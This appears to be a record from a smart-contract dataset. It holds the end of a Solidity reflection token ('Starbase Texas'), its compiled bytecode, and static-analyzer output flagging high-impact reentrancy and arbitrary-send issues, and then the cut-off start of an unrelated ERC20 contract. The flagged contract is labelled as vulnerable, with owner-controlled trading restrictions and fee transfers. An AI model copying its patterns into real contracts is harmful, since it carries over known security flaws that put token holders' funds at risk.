(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600e81526020017f5374617262617365205465786173000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5354415242415345000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fc15845bcfc20bcf7c6d7f2dc1f4ce0d98c50cd1ba8792a3b360da0c5e7989864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,932 |
0xebe499ae537484f182b48ec9d8f72ae5a293f366
|
pragma solidity ^0.4.24;
/*
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* Name : SUAPP (SUP)
* Decimals : 8
* TotalSupply : 100000000000
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
